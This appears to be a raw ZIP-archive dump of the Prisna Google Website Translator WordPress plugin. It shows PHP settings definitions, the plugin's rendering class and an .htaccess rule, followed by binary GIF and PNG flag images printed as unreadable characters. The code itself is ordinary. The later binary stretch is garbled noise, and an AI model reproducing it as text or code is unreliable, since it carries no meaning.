'prisna_style_tabbed', 'values' => array( 'upper_left' => PRISNA_GWT__IMAGES . '/upper_left.png', 'upper_right' => PRISNA_GWT__IMAGES . '/upper_right.png', 'lower_left' => PRISNA_GWT__IMAGES . '/lower_left.png', 'lower_right' => PRISNA_GWT__IMAGES . '/lower_right.png' ), 'value' => 'lower_right', 'type' => 'visual', 'col_count' => 2, 'dependence' => 'display_mode', 'dependence_show_value' => 'tabbed', 'group' => 1 ), 'align_mode' => array( 'title_message' => __('Align mode', 'prisna-gwt'), 'description_message' => __('Sets the alignment mode of the translator within its container.', 'prisna-gwt'), 'id' => 'prisna_align_mode', 'type' => 'radio', 'value' => 'left', 'values' => array( 'left' => __('Left', 'prisna-gwt'), 'right' => __('Right', 'prisna-gwt') ), 'dependence' => 'display_mode', 'dependence_show_value' => 'inline', 'group' => 1 ), 'show_flags' => array( 'title_message' => __('Show flags over translator', 'prisna-gwt'), 'description_message' => __('Sets whether to display a few flags over the translator, or not.', 'prisna-gwt'), 'id' => 'prisna_show_flags', 'type' => 'toggle', 'value' => 'false', 'values' => array( 'true' => __('Yes, show flags', 'prisna-gwt'), 'false' => __('No, don\'t show flags', 'prisna-gwt') ), 'dependence' => 'display_mode', 'dependence_show_value' => 'inline', 'group' => 1 ), 'languages' => array( 'title_message' => __('Select languages', 'prisna-gwt'), 'description_message' => __('Sets the available languages to display over the translator.', 'prisna-gwt'), 'title_order_message' => __('Languages order', 'prisna-gwt'), 'description_order_message' => __('Defines the order to display the languages.', 'prisna-gwt'), 'id' => 'prisna_languages', 'values' => PrisnaGWTCommon::getLanguages(), 'value' => array('en', 'es', 'de', 'fr', 'pt', 'da'), 'type' => 'language', 'enable_order' => true, 'columns' => 4, 'dependence' => array('show_flags', 'display_mode'), 'dependence_show_value' => array('true', 'inline'), 'group' => 1 ), 'test_mode' => array( 'title_message' => __('Test mode', 'prisna-gwt'), 'description_message' => __('Sets whether the translator is in test mode or not. In "test mode", the translator will be displayed only if the current logged in user has admin privileges.
      Is useful for setting up the translator without letting visitors to see the changes while the plugin is being implemented.', 'prisna-gwt'), 'id' => 'prisna_test_mode', 'type' => 'toggle', 'value' => 'false', 'values' => array( 'true' => __('Yes, enable test mode', 'prisna-gwt'), 'false' => __('No, disable test mode', 'prisna-gwt') ), 'group' => 2 ), 'exclude_selector' => array( 'title_message' => __('Exclude selector (jQuery)', 'prisna-gwt'), 'description_message' => __('Select those elements to NOT be translated. In jQuery format. For more info, check the jQuery selector guide.', 'prisna-gwt'), 'id' => 'prisna_exclude_selector', 'type' => 'text', 'value' => '', 'group' => 2 ), 'custom_css' => array( 'title_message' => __('Custom CSS', 'prisna-gwt'), 'description_message' => __('Defines custom CSS rules.', 'prisna-gwt'), 'id' => 'prisna_custom_css', 'type' => 'textarea', 'value' => '', 'group' => 2 ), 'display_heading' => array( 'title_message' => __('Hide on pages, posts and categories', 'prisna-gwt'), 'description_message' => '', 'value' => 'false', 'id' => 'prisna_display_heading', 'type' => 'heading', 'group' => 2 ), 'exclude_pages' => array( 'title_message' => __('Pages', 'prisna-gwt'), 'description_message' => __('Selects the pages where the translator should not be displayed.', 'prisna-gwt'), 'id' => 'prisna_exclude_pages', 'value' => array(''), 'type' => 'expage', 'dependence' => 'display_heading', 'dependence_show_value' => 'true', 'group' => 2 ), 'exclude_posts' => array( 'title_message' => __('Posts', 'prisna-gwt'), 'description_message' => __('Selects the posts where the translator should not be displayed.', 'prisna-gwt'), 'id' => 'prisna_exclude_posts', 'value' => array(''), 'type' => 'expost', 'dependence' => 'display_heading', 'dependence_show_value' => 'true', 'group' => 2 ), 'exclude_categories' => array( 'title_message' => __('Categories', 'prisna-gwt'), 'description_message' => __('Selects the categories where the translator should not be displayed.', 'prisna-gwt'), 'id' => 'prisna_exclude_categories', 'value' => array(''), 'type' => 'excategory', 'dependence' => 'display_heading', 'dependence_show_value' => 'true', 'group' => 2 ), 'callbacks_heading' => array( 'title_message' => __('Javascript callbacks', 'prisna-gwt'), 'description_message' => '', 'value' => 'false', 'id' => 'prisna_callbacks_heading', 'type' => 'heading', 'group' => 2 ), 'on_before_load' => array( 'title_message' => __('On before load', 'prisna-gwt'), 'description_message' => __('Defines a javascript routine that runs before the translator is loaded.', 'prisna-gwt'), 'id' => 'prisna_on_before_load', 'type' => 'textarea', 'value' => '', 'dependence' => 'callbacks_heading', 'dependence_show_value' => 'true', 'group' => 2 ), 'on_after_load' => array( 'title_message' => __('On after load', 'prisna-gwt'), 'description_message' => __('Defines a javascript routine that runs after the translator is loaded.', 'prisna-gwt'), 'id' => 'prisna_on_after_load', 'type' => 'textarea', 'value' => '', 'dependence' => 'callbacks_heading', 'dependence_show_value' => 'true', 'group' => 2 ), 'templates_heading' => array( 'title_message' => __('Templates', 'prisna-gwt'), 'description_message' => '', 'value' => 'false', 'id' => 'prisna_templates_heading', 'type' => 'heading', 'group' => 2 ), 'flags_container_template' => array( 'title_message' => __('Flags container template', 'prisna-gwt'), 'description_message' => __('Sets the flags\' container template. New templates can be created if the provided one doesn\'t fit the web page requirements.', 'prisna-gwt'), 'id' => 'prisna_flags_container_template', 'type' => 'textarea', 'value' => '
        {{ content }}
      ', 'dependence' => 'templates_heading', 'dependence_show_value' => 'true', 'group' => 2 ), 'flag_template' => array( 'title_message' => __('Flag template', 'prisna-gwt'), 'description_message' => __('Sets the flag\'s template. New templates can be created if the provided one doesn\'t fit the web page requirements.', 'prisna-gwt'), 'id' => 'prisna_flag_template', 'type' => 'textarea', 'value' => '
    • ', 'dependence' => 'templates_heading', 'dependence_show_value' => 'true', 'group' => 2 ), 'other_customizations' => array( 'title_message' => __('Other customizations', 'prisna-gwt'), 'description_message' => '', 'value' => 'false', 'id' => 'prisna_other_customizations_heading', 'type' => 'heading', 'group' => 2 ), 'banner' => array( 'title_message' => __('Translation banner', 'prisna-gwt'), 'description_message' => __('Sets whether automatically display translation banner to users speaking languages other than the language of your page, or not. If the Display mode is set to Tabbed, then the Completely hide the translation banner option won\'t be selectable.', 'prisna-gwt'), 'id' => 'prisna_banner', 'type' => 'radio', 'value' => 'hide', 'values' => array( 'hide' => __('Completely hide the translation banner', 'prisna-gwt'), /*'true' => __('Automatically display translation banner', 'prisna-gwt'), Disabled feature until Google fixes it */ 'false' => __('Don\'t display translation banner automatically', 'prisna-gwt') ), 'dependence' => 'other_customizations', 'dependence_show_value' => 'true', 'group' => 2 ), 'multiple_languages' => array( 'title_message' => __('Multiple languages pages', 'prisna-gwt'), 'description_message' => __('Sets whether the pages in this site contain content in multiple languages.', 'prisna-gwt'), 'id' => 'prisna_multiple_languages', 'option_id' => 'multilanguagePage', 'type' => 'toggle', 'value' => 'false', 'values' => array( 'true' => __('Yes, pages on this site contain multiple languages', 'prisna-gwt'), 'false' => __('No, pages on this site don\'t contain multiple languages', 'prisna-gwt') ), 'dependence' => 'other_customizations', 'dependence_show_value' => 'true', 'group' => 2 ), 'google_analytics' => array( 'title_message' => __('Google Analytics', 'prisna-gwt'), 'description_message' => __('Sets whether to track translation traffic using Google Analytics, or not.', 'prisna-gwt'), 'id' => 'prisna_google_analytics', 'type' => 'toggle', 'value' => 'false', 'values' => array( 'true' => __('Yes, track traffic using Google Analytics', 'prisna-gwt'), 'false' => __('No, don\'t track traffic using Google Analytics', 'prisna-gwt') ), 'dependence' => 'other_customizations', 'dependence_show_value' => 'true', 'group' => 2 ), 'google_analytics_code' => array( 'title_message' => __('Google Analytics code', 'prisna-gwt'), 'description_message' => __('Sets the Analytics Web Property ID. For instance: UA-12345-12', 'prisna-gwt'), 'id' => 'prisna_google_analytics_code', 'type' => 'text', 'value' => '', 'dependence' => array('other_customizations', 'google_analytics'), 'dependence_show_value' => array('true', 'true'), 'group' => 2 ), 'import' => array( 'title_message' => __('Import settings', 'prisna-gwt'), 'description_message' => __('Imports previously exported settings. Paste the previously exported settings in the field. If the data\'s structure is correct, it will overwrite the current settings.', 'prisna-gwt'), 'id' => 'prisna_import', 'value' => '', 'type' => 'textarea', 'group' => 3 ), 'export' => array( 'title_message' => __('Export settings', 'prisna-gwt'), 'description_message' => __('Exports the current settings to make a backup or to transfer the settings from the development server to the production server. Triple click on the field to select all the content.', 'prisna-gwt'), 'id' => 'prisna_export', 'value' => self::_get_settings_values_for_export(), 'type' => 'export', 'group' => 3 ) ); return $result; } } ?> PK.—[Ò£.B(B(0google-website-translator/classes/main.class.phpnu„[µü¤ $from['value'], 'option_id' => $from['option_id'] ); } $translator = new PrisnaGWTOutput((object) $settings); return $translator->render(array( 'type' => 'file', 'content' => '/main.tpl' )); } public static function isAvailable() { if (is_admin()) return false; if (PrisnaGWTConfig::getSettingValue('test_mode') == 'true' && !current_user_can('administrator')) return false; global $post; if (!is_object($post)) return true; $settings = PrisnaGWTConfig::getSettingsValues(); if ($post->post_type == 'page' && array_key_exists('exclude_pages', $settings)) { $pages = $settings['exclude_pages']['value']; if (in_array($post->ID, $pages)) return false; } if ($post->post_type == 'post' && array_key_exists('exclude_posts', $settings)) { $posts = $settings['exclude_posts']['value']; if (in_array($post->ID, $posts)) return false; } if ($post->post_type == 'post' && array_key_exists('exclude_categories', $settings)) { $categories = $settings['exclude_categories']['value']; $post_categories = wp_get_post_categories($post->ID); if (PrisnaGWTCommon::inArray($categories, $post_categories)) return false; } return true; } } class PrisnaGWTOutput extends PrisnaGWTItem { protected static $_rendered; public $custom_css; public $flags_css; public $flags_image_path; public $flags_formatted; public $options_formatted; protected static $_exclude_rules; public function __construct($_properties) { $this->_properties = $_properties; $this->_gen_options(); $this->_set_properties(); $this->_set_flags_css(); self::_set_rendered(false); } public function setProperty($_property, $_value) { return $this->{$_property} = $_value['value']; } protected static function _set_rendered($_state) { if (self::_get_rendered() === true) return; self::$_rendered = $_state; } protected function _set_flags_css() { if ($this->_has_flags()) { $this->flags_image_path = PRISNA_GWT__IMAGES; $languages = PrisnaGWTConfig::getSettingValue('languages'); if (!PrisnaGWTConfig::getSettingValue('all_languages')) { $available_languages = PrisnaGWTConfig::getSettingValue('available_languages'); $languages = array_intersect($languages, $available_languages); } $all_languages = PrisnaGWTCommon::getLanguages(false); $flags_css = array(); foreach ($all_languages as $language => $name) { if (in_array($language, $languages)) { $coordinates = PrisnaGWTCommon::getLanguageCoordinates(strtolower($language)); if (!empty($coordinates)) $flags_css[] = '.prisna-gwt-language-' . $language . ' a { background-position: ' . $coordinates[0] . 'px ' . $coordinates[1] . 'px !important; }'; } } $this->flags_css = implode("\n", $flags_css); } } protected static function _get_rendered() { return self::$_rendered; } public function _prepare_option_value($_id, $_value) { $value = $_value; if (PrisnaGWTValidator::isBool($value)) $value = $value == 'true' || $value === true; if ($_id == 'layout') return $value; return json_encode($value); } public function render($_options, $_html_encode=false) { if (self::_get_rendered()) return ''; if (!array_key_exists('meta_tag_rules', $_options)) $_options['meta_tag_rules'] = array(); $_options['meta_tag_rules'][] = array( 'expression' => !property_exists($this->_properties, 'layout') || $this->_properties->layout['option_id'] == 'layout', 'tag' => 'has_container' ); $_options['meta_tag_rules'][] = array( 'expression' => $this->_has_flags(), 'tag' => 'has_flags' ); $_options['meta_tag_rules'][] = array( 'expression' => PrisnaGWTConfig::getSettingValue('display_mode') == 'inline', 'tag' => 'is_inline' ); $_options['meta_tag_rules'][] = array( 'expression' => PrisnaGWTConfig::getSettingValue('banner') === 'hide', 'tag' => 'hide_banner' ); $on_before_load = PrisnaGWTConfig::getSettingValue('on_before_load'); $_options['meta_tag_rules'][] = array( 'expression' => empty($on_before_load), 'tag' => 'on_before_load.empty' ); $exclude_selector = PrisnaGWTConfig::getSettingValue('exclude_selector'); $_options['meta_tag_rules'][] = array( 'expression' => empty($exclude_selector), 'tag' => 'exclude_selector.empty' ); $on_after_load = PrisnaGWTConfig::getSettingValue('on_after_load'); $_options['meta_tag_rules'][] = array( 'expression' => empty($on_after_load), 'tag' => 'on_after_load.empty' ); self::_set_rendered(true); return parent::render($_options, $_html_encode); } protected function _has_flags() { $display_mode = PrisnaGWTConfig::getSettingValue('display_mode'); if ($display_mode != 'inline') return false; $style_inline = PrisnaGWTConfig::getSettingValue('style_inline'); if ($style_inline == 'dropdown') return false; $show_flags = PrisnaGWTConfig::getSettingValue('show_flags'); if (!$show_flags) return false; $languages = PrisnaGWTConfig::getSettingValue('languages'); if (empty($languages)) return false; return true; } protected function _gen_flags() { if (!$this->_has_flags()) return; $flags_container_template = PrisnaGWTConfig::getSettingValue('flags_container_template'); $flag_template = PrisnaGWTConfig::getSettingValue('flag_template'); $languages = PrisnaGWTConfig::getSettingValue('languages'); if (!PrisnaGWTConfig::getSettingValue('all_languages')) { $available_languages = PrisnaGWTConfig::getSettingValue('available_languages'); $languages = array_intersect($languages, $available_languages); } $flags_items = array(); foreach ($languages as $language) $flags_items[] = array( 'language_code' => $language, 'language_name' => PrisnaGWTCommon::getLanguage($language), 'language_name_no_space' => PrisnaGWTCommon::getLanguage($language, '_'), 'flags_path' => PRISNA_GWT__IMAGES . '/' ); $flags = PrisnaGWTCommon::renderObject($flags_items, array( 'type' => 'html', 'content' => $flag_template )); $result = array( 'content' => $flags, 'align_mode' => $this->align_mode ); $this->flags_formatted = PrisnaGWTCommon::renderObject((object) $result, array( 'type' => 'html', 'content' => $flags_container_template )); } protected function _gen_banner() { $banner = PrisnaGWTConfig::getSettingValue('banner'); if ($banner !== false) return; $this->_properties->banner = array( 'option_id' => 'autoDisplay', 'value' => false ); } protected function _gen_google_analytics() { $google_analytics = PrisnaGWTConfig::getSettingValue('google_analytics'); if (!$google_analytics) return; $google_analytics_code = PrisnaGWTConfig::getSettingValue('google_analytics_code'); if (empty($google_analytics_code)) return; $this->_properties->google_analytics = array( 'option_id' => 'gaTrack', 'value' => true ); $this->_properties->google_analytics_code = array( 'option_id' => 'gaId', 'value' => $google_analytics_code ); } protected function _gen_languages() { $all_languages = PrisnaGWTConfig::getSettingValue('all_languages'); if ($all_languages) return; $available_languages = PrisnaGWTConfig::getSettingValue('available_languages'); if (empty($available_languages)) return; $this->_properties->selected_languages = array( 'option_id' => 'includedLanguages', 'value' => join(',', $available_languages) ); } protected function _gen_layout() { $settings = array( 'inline_vertical' => '', 'inline_horizontal' => 'InlineLayout.HORIZONTAL', 'inline_dropdown' => 'InlineLayout.SIMPLE', 'tabbed_upper_left' => 'FloatPosition.TOP_LEFT', 'tabbed_upper_right' => 'FloatPosition.TOP_RIGHT', 'tabbed_lower_left' => 'FloatPosition.BOTTOM_LEFT', 'tabbed_lower_right' => 'FloatPosition.BOTTOM_RIGHT', 'automatic' => 'FloatPosition.TOP_LEFT' ); $display_mode = PrisnaGWTConfig::getSettingValue('display_mode'); $option_id = $display_mode == 'inline' ? 'layout' : 'floatPosition'; if ($display_mode != 'automatic') $display_mode .= '_' . PrisnaGWTConfig::getSettingValue('style_' . $display_mode); $result = $settings[$display_mode]; if (empty($result)) return; $this->_properties->layout = array( 'option_id' => $option_id, 'value' => 'google.translate.TranslateElement.' . $result ); } protected function _gen_options() { $this->align_mode = PrisnaGWTConfig::getSettingValue('align_mode'); $this->_gen_layout(); $this->_gen_languages(); $this->_gen_google_analytics(); $this->_gen_banner(); $this->_gen_flags(); $result = array(); foreach ($this->_properties as $key => $property) if (array_key_exists('option_id', $property) && !PrisnaGWTValidator::isEmpty($property['option_id'])) $result[$key] = array( 'option_id' => $property['option_id'], 'value' => $this->_prepare_option_value($key, $property['value']) ); $this->options_formatted = PrisnaGWTCommon::renderObject($result, array( 'type' => 'html', 'content' => "\t\t{{ option_id }}: {{ value }},\n" )); $this->options_formatted = preg_replace('/,\n$/', "\n", $this->options_formatted); } } PrisnaGWT::initialize(); ?> PK.—[³yd«cc+google-website-translator/classes/.htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PK.—[äZf0aa.google-website-translator/images/Afrikaans.gifnu„[µü¤GIF89a÷ÿÿÿêGJçGIï`cëgjëqrô‘“ç?CåBGçGLæGLçIOí[_í[`ìgkïkpíqvírvírwîw{÷ŠŽð‰û›ŸùÅÇøÐÑù™Ÿzv¹ws¯302/ŒKG­¬È{u(&‡*(‰+(‰+)‰6497Š«ªÐv|~u~ x$$z((„))„''}**…**¼ÂС²¨°Á·»Ñ¦³ª“¶>xMWŠdH€Vz¡ƒF|RºÎ¾^ŠeB AIF0a7?lEFqLMySMvS[`g‰lr“w‰§HEH J F M J @NMONJOBL0e7?rEM|S[†`[…`gŽlq—vr–v‰¨ B?pDGvLGuKƒ¢†‰¦ŒE G IMMUZ Y "Z&*c.1e50c40a4@oCMyPNzQY&W(+^.0c3IN== C B GO?k?MvM[[gˆgrr‰¥‰“°“}}±Ã±2e0GtEX…V“°’0a{›m/bR{7‰¥a[‚Y ¶T’©¨»Iœ°¾ÉF»ÃÚß}ÁÆÛÙ7ÕÕÍÓÎàÝ`®¥ÛÓRȼ˜¾´B˜‹Š2°¦B¦¡m`W50pkNKH?ìÖÔìggãããáááÛÛÛÙÙÙÖÖÖÐÐÐ^^^PPP@@@???:::666222000...)))###"""ÿÿÿ!ùÕ,ÿ«±ió‡Ò(\Èpa5%PÒ¼‰¤CÃ^2jܘ‘(7OΠÄc—$L˜a¥„*,˜eJ“3fI…W@ƒ¥­Uš”!ãhˆ 8˜JÕɈÝjŠÉ’1~íøE¶lY_À”;– )KIĬaä‡Ý»v}ô`fl™_Y¨8! fϠÈ÷áÓìÙ´i¸^ÊÆ‹:s2kÎŒG³hÔl¹ ÕÅH-Šêع¨õ×yô@“VK•§"W¬ÈI4I˜ïß¿ƒ Ó«Ô&,T¨ Z$)„%J˜0q¢:ЬFÅ!2eÊ¡J98ˆ>`ñ¢¼ùò5l|:"% C—n€XÑâ¼ý4¾pÙB¨&¼ À8` ÕT¡F 8t0‚ 0D(á„V;PK.—[„øÃ`00-google-website-translator/images/Albanian.gifnu„[µü¤GIF89a÷ÿÿÿÏ#'Þ*.Þ,0­"%Ç@CÕNQæ_bs78Ütv„FGí£cdî”–Ü"Ü#Ü$Ð"Ë!Ý %Ù %Ì#Ý"(Û"(Ý$*šÒ#(Ï"'´"­"Þ&+É"'Þ',Ý&,À!&¼!&Ð%*Ð%+™“»"'Ÿ!ž!Þ*/Ñ(.·#'…µ#'ª!%Þ,1Ñ*0ß/4Ó-2Ô.3ß27€ {ß5;Õ27Õ38cÖ6:`Ö7=SÙ:?Ù=BÛ>DâBGÜBFÞCHÞFJßHLàKPº>B3ßKPåPUäPTâOTáOT¨<@âRWãSWåVZäVZåW[ÈMPæY]9<(æ]aÕ[^ÊZ^{79èimèjm™GJèlpØhkêtxçtxÍgj‹FHætxätxêx|êy|ÞtwÁehë~ë~‚삆šUW²cf—TW®ceí´oq²oq‚RT|RS`b‘acuQRsQR¹dh·dhSV@>?HePP???000ÿÿÿ!ù‹,ÿeH° Aƒ‹®8XȰ¡C‡[¬à‘‡bEŠ3ÆÙÈ‹”9gBžA³fMž7 ô¬AÃFä™9U˜´#¦¦™:pü4¸Ó' 45kº™²¤Œ—£^¾ÐáshО?€ì€Aê¥Ì“$¢hr€ŒšD„%Z@FËÖ(”r¤í\¨„Q¤(.MÜ‚„€G¨ØC†!DTè˜x"@rd˜œ A†úQbEÊréaã‚iÓ(bxpÒåCŠN_°áã ¸sS¨ aCݹ àx1„Ç# —0yòã\Ô0!âõëØ³_q¢ˆïàË /`‘…óèÓ«W¿( ;PK.—[MŒx¾W£W£(google-website-translator/images/all.pngnu„[µü¤‰PNG  IHDRܰdl £IDATxœÌ½wœUýÿÿ<3sÛöMï=$zï%EÄbÅ‚õ#¢Ø+bAATPDQÀBG@ %B !u“ÝÍ–ìÞ~ïÌœòûcîݽ»{ïîÝÍî÷ñ{ûÀìòž÷œ9å}Îy¿Þ/Ñûç»MÓïãÅõ­\ý“éé‰añÅßÿu)Ýœ À”¿ÜÉûÎþ9`¡¾ë¦MåSï\ÌÏ<„˜9“>æcÛåäá‡ÿ¯ìñ¢l;óCÏEb aÛÃÞ?ùð‘b[„lVí7‹¯ž¼œŸ­ÞÈÖï,y¸ftzÕ?~„=öþQY0zuC=¢Âw³¦iL¯…ñG¯÷¢ØÙØŽž!5‚²`ž§üaÏ]£Ò;ãïwŒÞ˜*ä=÷|K -c ÂJóËÛÞ“^ÇÛð©ÞÏ¡ï<ÿð1¼ïe¶oß 8€ Ž-¨=é¤à[°rå ‚³ìùÓY5 ê7½†ý¡s‰vÖ¯eåÊ}ÇdTÝ)Ç–=ž~â„e=¾üù±J~Í3XB°rùL°-ö›ÑÀ~31®ì»nþŒL•îå¶8/Y+W®W{W¯^ Æ&¶ò”qÕ›[ýÂD?aÑ…“êÞ.É<âô«RòkžÁ¶á”£ç¢$4Ô…©¯ áKM6/Ig|l4±ô ÕÛûÔšÑ2 BpÒ܆×BR†ØIS°µAY¢:…Ú{úiœ›àâHˆøu7Qwö;9çÜÃyøá <öèk#œ…1 »ºÀŒŽŽ$ÆhD¸†ŽZȉî¬v;çÝ0{&7ÝôR*\×'Ï;²ªÅïìþ(ÔlXM h¥ÑJç¡IŒ1!0Åë„(ÜÖ|ð±âßE±ÐZ#-+ñdŽ9“ëHä|:’Ù>ë/{ûþ£x 8ï ¹œús‰ëºÄãñAåPò«ðgéyc@ô6`hlnBi–íºèx¢DWñ½Ä %¦Ì±Âƒ ·XÍMh­0J!,N>Dâ¾è€1è¬ ù'aCÝÙé;#£(_…Tš\^âØ6Ó¦Ô°x^3ž¯Ø´­‡Žî,Ùœ‡*Õ5èåýݧ·£ô€çŽ—cPJã*IÂÍ`0ƒGêì¥Q¶U½ ¥q}èEjëŽçŒe#þz7Îá‡ñŽÓW2wþTnüÍñ¼<Æ€Édútd2.N]#>~ûn| =y _ø{Ò’»÷8wÞ¹¥Âd2.™Œ7úÎäþD8Œ‘ã+t&‹Î Á”T6S⧘Âf€ž¡Æ„½+WÌbÉ”z²¾ÂU W)ö_8µïÚG7u ¨ÖÃIıhOdQJ‘ÉdÈÊoo%!}£lÈdaœôƒ_(ßdŽšUI"‡Hœé6©¿…1^á½sà>¯ÐÙ Œ–ïP1¡F*¤4ä²’éÓ£,[4™ý–LÀó[Zâ¤s>X6&›­Ê\õa‚œD‘õódý|ßq@"h0>&›ÅHÁ œÁ‘t†lŒ”8¾¯ØüÆ®ZïðîŽáègŸ%·a#û_ü!.ûú|ý²¿Ý÷a étžo=‰™kÆzÛJêO9žÕOnáö['µPJàûŠtÚ#vGýÂ:=´ ÇÁ(…V“Ía2Õ}˜‘Ä8F*¾~òò!s­¾°ïoW*.ºm (öȸ©&̆=ø¾O:&N‹½Žã ”bÆ¿4v$ f|ô" y) Õ<_“Íùd2>ØUe9ÛFÜxK0Â)Ò^ž´ŸG¾±¨w<ö©KQòHÓK¤ÕÆnØ&4¼E{)5©”Ooo‚›ïÚCÍ—Þʼn5I2Ͽʜ“Žå'?ÿÚ€J&ÐþðSÝ=„ßöIz"¬ùï›\ÿËhn®Á÷]¤ “JåH&sÃÙQVT*5ô m¡}ɬïÂqªèRF!RJ¾ÿèkÌj®!ë•á’–qÍ“o¸îó«V`‰  F’°m‘̹,¸;L,壓cXi(#–í“óCã‚Iÿ9€™Q’­–e¨Ÿ/©iMggcŒ‘•N£^Ì’{J`E :ßßÁˆ°!r°Gö©HUZm£•DKE2íâµ(ž~±dÚÃõ$ëß袭#E2ãƒeaRÿÿhpR)Ò~–”—E‹Éáﵑ{±/åã÷º¨d”ìÉšIë³D6:˜aª¥±¬ Á=ôÈ¥D¢‘ Åe‚t^ÒØźÐ à/^‹Ájc]̱Ç~ÜW7ïqÚÊŸ“Lö7¸ÑÌãT²L¡ -}´匽 ÑZsÿº­Ì›Ò@oÖãm‡Î çkyqEë/9aÙ¨ôzžG«Tèd]è°*Jµd ŒôÐZ‚I€I¢s†D»Aî‘yÞ@…¥ é)ÓfW»’)ïAJL2‰Nß@•˜Ýüµ<½?‹Òó#€ê¦ F´çᆠɬbÛÎ${.ëßè"ï)â)—ÞDÛ±Qtj„r*Š%0þÄÕ_K’nÐàrÊáÝÓ7±_:ŽûÚ|‡A÷˜üæV²o¼IzA û•¢º_F{ŽwœFlÒ$T"Q•1§ ¿2f76’K$r%ñxžD"?ìõå¤\å´7=š”Äs‰œGκœœ/I¸ õôß?Žc‰ªæp ‡d6ϵÒÃÄ“èD•iBÊÁ“a㩹¨×·`zgÒ°äbœIÈéµ`Ú¨®% ŒñP¾Ä$Rèä /ÂÞëu0R¢Ž FJ<×'Ïθ¤3.[+\o?·ÒuBôÍáÆ[Œ1øJ’ôsĽ8Î]èÕÏ šòxQp‹ \KcæpJJüÖVT<>.Æêt‰àûŠ––âñÑϵ¼–¶!Çì¦ *™¸MiZz2ijÝ……žîŒGK¶ß-ËödªÞ†kŒ†ˆ"ѾÄkiESùªd‹¢µz'X½˜xŒðËûÑòb;/šZÙh37ÜLHEÑSZ°¢bäF"šÐ:Š–>^[º\¼sè¡íM§QÑwwý‘p›_XU­,Õ:ÞV:ŠDØuâ©„ý‘õV+VS#^$‚úô´¦ºèñ²ÔŸîL;Z&óÁM»ÙÖ‘ ƒÃ¤» íi'Nbï‰aí aÂåkˆÕPŠÅp¦>ø±šš i[¾€Y7xm.›Å;ú'H J¡”iTFJ´´&¬Á=÷ÍwR[[;àøoÞ{¿yïacÖ›Édhù•Ò‡ÂÊg ƒ–êûdвþ€ã…cÒGy6ÚH0Р%¡Y6óNóØ~Ïn6¯þS"†úÃ-<·üFöÀGH´‘¨¢­ãUÎJ¢< ãûà+K}('¾BY~`çèõ•/ÀhE¯qh÷cLëÒùÊVŽÜò?Ò±YÈŽ§ˆ¾_íUØ[F¨`뺒^ÇÇ9êðË‘Rô͵®ûíÅ|ä‚ÑÝd_CxÖ üCÁ”|€Ž® Kç7“¸ë³fpç›/\ü[b„àu¥t5+ ƒÄ”ûØZ¡}Â\ˆu-{×dQÚ A°„ Ú}ÍÁb[/›e†”Ae· ¬1ÒÇ B!lZf»Ló;¹ŽÎ'²¸u)R‹$ûÔ°#¿ˆÆ-ÈqlpRôÊqoÈÆ£'D¯T e‹¾ºðßîY\¾è6®šEòŽØWŽî£]²Sâ4<ÁÎ]Ù“P ãKßÁ¨aB|ãŠ÷òá 'ýÀ£$øSÚ?‘“o¹—¶Îß x¡CV|…gŸÿ+Þ¹’]¶µðó/~€ïüí-dª!Bh­ÐZŒmDRC» ãK†ågü-¤ư¿WNêjÄ„:d2Ú‰’ÊÏjb]$DH»¼t¯¢¡ÎŒjÞ3¬XšdF¡ýBC6†¨“¤Î}™Iåá ­Ì:'¸´µûl#«óÓ„ö "ŒÁèJ]õèD+‰Æ`ù>ÚTèLǤW¡ õ„èõµÄhm4šMn=ßßz(ÇLigÇç\f½ÜIí6‰}E{CSÃ~c­Zú8J¹,\¸ë~ûa?h6]—_‰þïj^}ׇøÔŸw.aé ™ÀM<îèrûó®Û~Mâ·óÎ_ßÄ‘¼ŸïmžÏÓÿypÐÚF©1ŒH}£bI…6_!•ÂX5†‘³ì£´Æ7ŠÏœº‘XÞ8¹&aÛÂË¥1Z¯1Úx¨Jb4Fùì­R£p~yíy8ÿý/­?ø ™U§óݶ<ü›§°ÚÚz@!X……! ¶6B0òûÿÍ Ïmçw·|”%OÞÇî¯~— Ÿû7ȹXvñÚщUzÐŒ’(m°0ÔÖ„†^31”Ö\tç:"uõ㢳(n:Å ‡KÀkä…©êÄ`ŒÂÈ5a׎“^c‚J¡ƒù^Ùo0F½¦°ñcõÕ£ñÑ«‚9ýè•Zã¨q¢N+KCϓ˩bA @kŒÔ8]?¾–ì#«Ùrö…\q-oü‡ tAln*z{zˆçƒåñXOž—%hpŸÿì³ë9áèoóƒ+ßÏ{¿y 5ÿzÿùÕU>j §§gXÛ^ÉÞÝ /Å— !«Û«<üÊÎQX÷ÉààÊAöšC%=½rÐÅå"2»lÃ=H ¥¢§o®;žz%=R–¹nïÄ’Š9†yáå‹aBôJ­©ì‡YZákzòyÂJãÉA ®’^¥Á¶ígŸc°ÆWU§tú×Î æ2epFÕŠê:¿W5X¾æ/ÃÞ»ûÃuÏM®j÷{Î¥\ùÎøûœþ©à™ßx>»ßwþ¨ôj[”ÅμãO~·Ÿ_[XNß_”Óßÿ뿾ûs£Ò›üã‡0PÏ>Ù°»Â ìg]>ì½Ã•M¥rØ[q±“ªÇ U#•pJ+=e |a”²úå'0¶`åÑ Ê_à ;)ZöøD⪆+ßÒ÷Í7È=µ¦€[8ì`~Í3Ï­XD0Z¡´ÂS~·VÞ©®$º«»Ï¾¢ŒT{#Æœÿü+–5v¯œ4T08“Ïu)}Ÿ™Óç’—½‰îÂ9¬:Y‚b”DÈ #¥DIM&ç‘)»_6<6Ì”‰2›h\•‘ìTœW&×ÿ£Æ *àŠÎæ`¸ÀJåÉ}ßÓöõŒŸÁøã«Âv0ZâMFæÉÊ1ÀÀ²C‘,#•CQT{¹'Öào߀3w5'‡={VÅ{Œ18¹QNÒùt¡!œësâá'³xÖbþøï?QưÏÜe¬X¸¯m{M­o/ä8(­ð•&óIgËT€°a*]&dl‚aF)T:ƒ.ƒó*}‡ÑâÀ´EU¸@S%@µˆ[«øíÆ€kìÓm ÚM£³ L®rÌ£c‹¾Î_ƒ”•×Û…Öh7ƒRЬç’ñF$_®lF*€ÜO“¼ùh™Exkî«/ý÷¿iøÐ‰Z~jcŒÁ9ö‚[Y¾h ½ÉÑ\Nš¢lnÙÃã·&3)0*Ø7‘óf-â¼SÎå;ø.‰x7„ %+=™#–Îôæi<¿a-„ÃØÂÆ÷}¤Ô¤Ò.ÉrÀ 